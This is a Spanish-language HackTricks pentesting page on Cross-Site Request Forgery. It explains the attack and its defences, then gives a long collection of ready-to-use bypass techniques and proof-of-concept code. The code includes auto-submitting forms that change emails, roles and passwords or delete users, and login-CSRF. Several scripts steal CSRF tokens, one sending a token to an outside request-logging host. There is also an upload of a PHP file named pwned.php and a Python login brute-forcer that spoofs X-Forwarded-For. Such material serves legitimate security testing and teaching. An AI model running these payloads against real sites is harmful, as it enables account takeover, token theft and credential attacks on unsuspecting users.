CSRF (Cross Site Request Forgery)
Reading time: 23 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Cross-Site Request Forgery (CSRF) Explicado
Cross-Site Request Forgery (CSRF) es un tipo de vulnerabilidad de seguridad que se encuentra en aplicaciones web. Permite a atacantes ejecutar acciones en nombre de usuarios desprevenidos aprovechando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que está logueado en la plataforma de la víctima, visita un sitio malicioso. Este sitio entonces dispara solicitudes contra la cuenta de la víctima mediante la ejecución de JavaScript, el envío de formularios o la carga de imágenes.
Requisitos previos para un ataque CSRF
Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
- Identify a Valuable Action: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el email o elevar privilegios.
- Session Management: La sesión del usuario debería gestionarse únicamente mediante cookies o la cabecera HTTP Basic Authentication, ya que otras cabeceras no pueden manipularse para este propósito.
- Absence of Unpredictable Parameters: La petición no debe contener parámetros impredecibles, ya que éstos pueden impedir el ataque.
Quick Check
Puedes capture the request in Burp y comprobar las protecciones CSRF; para probar desde el navegador puedes hacer clic en Copy as fetch y revisar la petición:
 (1) (1).png)
Defending Against CSRF
Se pueden implementar varias contramedidas para proteger contra ataques CSRF:
- SameSite cookies: Este atributo impide que el navegador envíe cookies junto con solicitudes cross-site. More about SameSite cookies.
- Cross-origin resource sharing: La política CORS del sitio víctima puede influir en la factibilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio víctima. Learn about CORS bypass.
- User Verification: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
- Checking Referrer or Origin Headers: Validar estas cabeceras puede ayudar a asegurar que las solicitudes provienen de orígenes de confianza. Sin embargo, una construcción cuidadosa de URLs puede eludir chequeos mal implementados, por ejemplo:
- Usar
http://mal.net?orig=http://example.com
(la URL termina con la URL de confianza) - Usar
http://example.com.mal.net
(la URL empieza con la URL de confianza)
- Usar
- Modifying Parameter Names: Alterar los nombres de los parámetros en peticiones POST o GET puede ayudar a prevenir ataques automatizados.
- CSRF Tokens: Incorporar un token CSRF único en cada sesión y requerir este token en peticiones subsecuentes puede mitigar significativamente el riesgo de CSRF. La efectividad del token se puede mejorar aplicando CORS.
Entender e implementar estas defensas es crucial para mantener la seguridad e integridad de las aplicaciones web.
Common pitfalls of defenses
- SameSite pitfalls:
SameSite=Lax
aún permite navegaciones top-level cross-site como enlaces y formularios GET, por lo que muchos CSRF basados en GET siguen siendo posibles. Consulta la matriz de cookies en Hacking with Cookies > SameSite. - Header checks: Valida
Origin
cuando esté presente; si tantoOrigin
comoReferer
están ausentes, falla de forma cerrada. No te fíes de coincidencias por substring/regex deReferer
que pueden ser eludidas con dominios lookalike o URLs manipuladas, y ten en cuenta el truco de supresiónmeta name="referrer" content="never"
. - Method overrides: Trata los métodos sobreescritos (
_method
u override headers) como cambios de estado y aplica CSRF sobre el método efectivo, no solo sobre POST. - Login flows: Aplica protecciones CSRF también al login; de lo contrario, el login CSRF permite re-autenticación forzada en cuentas controladas por el atacante, lo que puede encadenarse con XSS almacenado.
Defences Bypass
From POST to GET (method-conditioned CSRF validation bypass)
Algunas aplicaciones solo aplican la validación CSRF en POST mientras la omiten para otros verbos. Un anti-patrón común en PHP se ve así:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
Si el endpoint vulnerable también acepta parámetros desde $_REQUEST, puedes volver a emitir la misma acción como una petición GET y omitir el CSRF token por completo. Esto convierte una acción POST-only en una acción GET que tiene éxito sin token.
Ejemplo:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notas:
- Este patrón aparece frecuentemente junto con reflected XSS donde las respuestas se sirven incorrectamente como text/html en lugar de application/json.
- Combinar esto con XSS reduce mucho las barreras de explotación porque puedes entregar un único enlace GET que tanto activa la ruta de código vulnerable como evita completamente las comprobaciones de CSRF.
Falta de token
Las aplicaciones pueden implementar un mecanismo para validar tokens cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto eliminando el parámetro que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo efectivamente un Cross-Site Request Forgery (CSRF).
Además, algunas implementaciones solo comprueban que el parámetro exista pero no validan su contenido, por lo que se acepta un valor de token vacío. En ese caso, simplemente enviar la petición con csrf=
es suficiente:
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
PoC mínimo que se autoenvía (ocultando la navegación con history.pushState):
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRF token is not tied to the user session
Las aplicaciones no vincular los CSRF tokens a las sesiones de usuario representan un riesgo de seguridad significativo. Estos sistemas verifican los tokens contra un conjunto global en lugar de asegurarse de que cada token esté ligado a la sesión que lo inició.
Aquí se muestra cómo los atacantes explotan esto:
- Autentican usando su propia cuenta.
- Obtienen un CSRF token válido del conjunto global.
- Usan este token en un ataque CSRF contra una víctima.
Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el mecanismo inadecuado de validación de tokens de la aplicación.
Method bypass
Si la solicitud está usando un método "raro", comprueba si la funcionalidad de method override está funcionando. Por ejemplo, si está usando un método PUT/DELETE/PATCH puedes intentar usar POST y enviar un override, p.ej. https://example.com/my/dear/api/val/num?_method=PUT
.
Esto también puede funcionar enviando el parámetro _method
dentro del body de un POST o usando headers de override:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Común en frameworks como Laravel, Symfony, Express, y otros. Los desarrolladores a veces omiten CSRF en verbos no-POST asumiendo que los navegadores no pueden emitirlos; con overrides, aún puedes alcanzar esos handlers vía POST.
Example request and HTML PoC:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
Custom header token bypass
Si la petición agrega un custom header con un token a la petición como CSRF protection method, entonces:
- Prueba la petición sin el Customized Token y sin el header.
- Prueba la petición con exactamente la misma longitud pero token diferente.
CSRF token is verified by a cookie
Las aplicaciones pueden implementar la protección CSRF duplicando el token tanto en una cookie como en un request parameter, o configurando una CSRF cookie y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el request parameter coincide con el valor en la cookie.
Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallos que permiten a un atacante establecer una CSRF cookie en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie y, a continuación, iniciar el ataque CSRF.
A continuación hay un ejemplo de cómo podría estructurarse un ataque:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
Ten en cuenta que si el csrf token está relacionado con la session cookie este attack no funcionará porque tendrás que establecer tu session en la victim, y por lo tanto te estarás atacando a ti mismo.
Cambio de Content-Type
According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Sin embargo, ten en cuenta que la lógica del servidor puede variar dependiendo del Content-Type usado, así que deberías probar los valores mencionados y otros como application/json
, text/xml
, application/xml
.
Example (from here) of sending JSON data as text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Bypassing Preflight Requests for JSON Data
Cuando se intenta enviar datos JSON mediante una petición POST, usar Content-Type: application/json
en un formulario HTML no es directamente posible. De forma similar, utilizar XMLHttpRequest
para enviar este tipo de contenido inicia una preflight request. No obstante, existen estrategias para sortear esta limitación y comprobar si el servidor procesa los datos JSON independientemente del Content-Type:
- Use Alternative Content Types: Emplea
Content-Type: text/plain
oContent-Type: application/x-www-form-urlencoded
estableciendoenctype="text/plain"
en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type. - Modify Content Type: Para evitar una preflight request y al mismo tiempo asegurar que el servidor reconozca el contenido como JSON, puedes enviar los datos con
Content-Type: text/plain; application/json
. Esto no dispara una preflight request, pero podría ser procesado correctamente por el servidor si está configurado para aceptarapplication/json
. - SWF Flash File Utilization: Un método menos común pero factible consiste en usar un archivo SWF flash para eludir esas restricciones. Para una comprensión más profunda de esta técnica, consulta this post.
Referrer / Origin check bypass
Avoid Referrer header
Las aplicaciones pueden validar la cabecera 'Referer' solo cuando está presente. Para evitar que un navegador envíe esta cabecera, se puede usar la siguiente HTML meta tag:
<meta name="referrer" content="never">
Esto asegura que la cabecera 'Referer' se omita, potencialmente eludiendo las comprobaciones de validación en algunas aplicaciones.
Regexp bypasses
Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros puedes hacer:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD method bypass
La primera parte de this CTF writeup explica que Oak's source code, un router está configurado para handle HEAD requests as GET requests sin cuerpo de respuesta — un workaround común que no es exclusivo de Oak. En lugar de un handler específico que trate las HEAD reqs, simplemente se entregan al GET handler pero la app elimina el cuerpo de la respuesta.
Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente send a HEAD request that will be processed as a GET request.
Exploit Examples
Stored CSRF via user-generated HTML
Cuando se permiten rich-text editors o HTML injection, puedes persistir un fetch pasivo que golpee un vulnerable GET endpoint. Cualquier usuario que vea el contenido realizará automáticamente la petición con sus cookies.
- Si la app usa un CSRF token global que no está ligado a la user session, el mismo token podría funcionar para todos los usuarios, haciendo que el stored CSRF sea fiable entre víctimas.
Ejemplo mínimo que cambia el email del espectador cuando se carga:
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
Login CSRF encadenado con XSS almacenado
Login CSRF por sí solo puede tener bajo impacto, pero encadenarlo con un XSS almacenado en contexto autenticado se vuelve potente: forzar a la víctima a autenticarse en una cuenta controlada por el atacante; una vez en ese contexto, un XSS almacenado en una página autenticada se ejecuta y puede robar tokens, secuestrar la sesión o escalar privilegios.
- Asegúrate de que el endpoint de login sea susceptible a CSRF (sin token por sesión ni comprobación del origen) y que no existan barreras de interacción del usuario que lo bloqueen.
- Después del login forzado, navegar automáticamente a una página que contenga el XSS almacenado (payload) del atacante.
PoC mínimo de login-CSRF:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
Exfiltrating CSRF Token
Si se está usando un CSRF token como defensa, podrías intentar exfiltrarlo abusando de una vulnerabilidad XSS o de una vulnerabilidad Dangling Markup.
GET using HTML tags
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Otras etiquetas HTML5 que pueden usarse para enviar automáticamente una solicitud GET son:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Solicitud GET del formulario
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Solicitud POST de formulario
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
Solicitud POST de Form a través de iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Petición POST Ajax
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST petición
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST request v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
Solicitud POST de formulario desde dentro de un iframe
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Robar CSRF Token y enviar una POST request
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Robar CSRF Token y enviar un Post request usando un iframe, un form y Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Robar CSRF Token y enviar una solicitud POST usando un iframe y un formulario
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Robar token y enviarlo usando 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token con Ajax y enviar un post con un formulario
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF con Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
El código puede usarse para Brut Force un formulario de login usando un token CSRF (También utiliza la cabecera X-Forwarded-For para intentar eludir un posible IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Herramientas
- https://github.com/0xInfection/XSRFProbe
- https://github.com/merttasci/csrf-poc-generator
- Burp Suite Professional – Generar CSRF PoCs
Referencias
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Guía definitiva sobre vulnerabilidades CSRF (YesWeHack)
- OWASP: Cross-Site Request Forgery (CSRF)
- Wikipedia: Cross-site request forgery
- PortSwigger Web Security Academy: CSRF labs
- Hackernoon: Blind CSRF
- YesWeHack Dojo: Laboratorios prácticos
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.